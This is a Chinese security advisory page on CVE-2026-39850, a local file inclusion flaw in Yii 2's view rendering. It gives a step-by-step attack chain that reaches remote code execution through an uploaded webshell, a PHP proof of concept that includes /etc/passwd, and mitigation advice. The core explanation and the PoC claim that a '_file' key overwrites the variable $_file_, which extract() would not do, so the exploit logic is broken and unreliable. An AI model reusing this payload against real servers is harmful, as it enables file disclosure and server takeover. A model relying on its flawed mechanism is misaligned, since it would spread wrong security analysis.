IPBUF安全漏洞报告
English
CVE-2026-39850 CVSS 7.4 高危

CVE-2026-39850 Yii 2本地文件包含漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-39850
漏洞类型
本地文件包含
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Yii 2

相关标签

LFIRCEPHPYii Framework变量覆盖CVE-2026-39850

漏洞概述

Yii 2框架在2.0.54及之前的版本中存在严重的本地文件包含漏洞。该漏洞源于核心视图渲染方法View::renderPhpFile()中的逻辑缺陷。函数在加载视图文件之前调用了extract($_params_, EXTR_OVERWRITE),导致调用者控制的$params数组中的_file键能够覆盖指定包含文件的内部局部变量。攻击者可利用此漏洞包含敏感文件,若具备文件写入能力,甚至可能导致远程代码执行。该问题在2.0.55版本中已修复。

技术细节

该漏洞的根本原因在于PHP函数extract()的不安全使用。在Yii 2的View::renderPhpFile()方法中,代码逻辑未对传入的$_params_参数进行严格过滤,直接使用了EXTR_OVERWRITE标志调用extract()。这意味着如果$_params_数组中存在键名为"_file"的元素,它将覆盖方法内部用于存储待渲染文件路径的局部变量$_file_。在正常的业务逻辑中,$_file_本应指向系统内的视图模板文件。然而,当extract()执行覆盖操作后,require语句加载的文件路径变成了攻击者可控的路径。攻击者只需构造一个包含"_file"参数的请求数据,将其值恶意设置为系统中的敏感文件路径(如/etc/passwd)或攻击者可控的文件路径。虽然主要表现为本地文件包含(LFI),导致信息泄露,但在Yii应用中若存在其他允许上传文件的功能(如图片上传、日志写入等),攻击者可先上传包含恶意PHP代码的文件,然后利用此LFI漏洞包含该文件,从而实现远程代码执行(RCE),完全控制服务器。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标网站使用的是Yii 2框架,且版本在2.0.54及以下。
STEP 2
2. 参数构造
攻击者在发送给视图渲染功能的请求中,精心构造参数数组,包含一个名为"_file"的键,其值为想要包含的恶意文件路径(如"/etc/passwd"或上传的Webshell路径)。
STEP 3
3. 触发漏洞
当服务器端调用View::renderPhpFile()处理请求时,extract()函数将"_file"的值覆盖了原本的视图文件路径变量。
STEP 4
4. 执行攻击
require语句加载了攻击者指定的文件。如果是敏感文件则造成信息泄露;如果是上传的PHP脚本,则解析并执行恶意代码,导致服务器被控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // Proof of Concept for CVE-2026-39850 // Simulating the vulnerable View::renderPhpFile method in Yii 2 < 2.0.55 function vulnerableRender($_file_, $_params_ = []) { // The vulnerability occurs here: // extract() imports variables from the array into the current symbol table. // EXTR_OVERWRITE means if there is a collision, overwrite the existing variable. extract($_params_, EXTR_OVERWRITE); // If $_params_ contained a '_file' key, $_file_ is now overwritten by the attacker. // The following require will then include the attacker's file. if (is_file($_file_)) { require $_file_; } else { echo "Error: File not found or overwritten."; } } // Exploitation Scenario $legitimate_view = '/var/www/html/views/site/index.php'; // Attacker controlled parameters // The key '_file' overwrites the $_file_ argument in vulnerableRender $malicious_params = [ 'content' => 'hello', '_file' => '/etc/passwd' ]; // Trigger the vulnerability // Instead of rendering the view, it reads /etc/passwd vulnerableRender($legitimate_view, $malicious_params); ?>

影响范围

Yii 2 <= 2.0.54

防御指南

临时缓解措施
建议立即升级至Yii 2.0.55或更高版本以彻底修复此漏洞。如果暂时无法升级,应实施WAF规则拦截包含"_file"参数的请求,并审查代码中所有使用View::renderPhpFile()或相关渲染方法的地方,手动移除或过滤$params数组中的"_file"键,防止变量覆盖攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表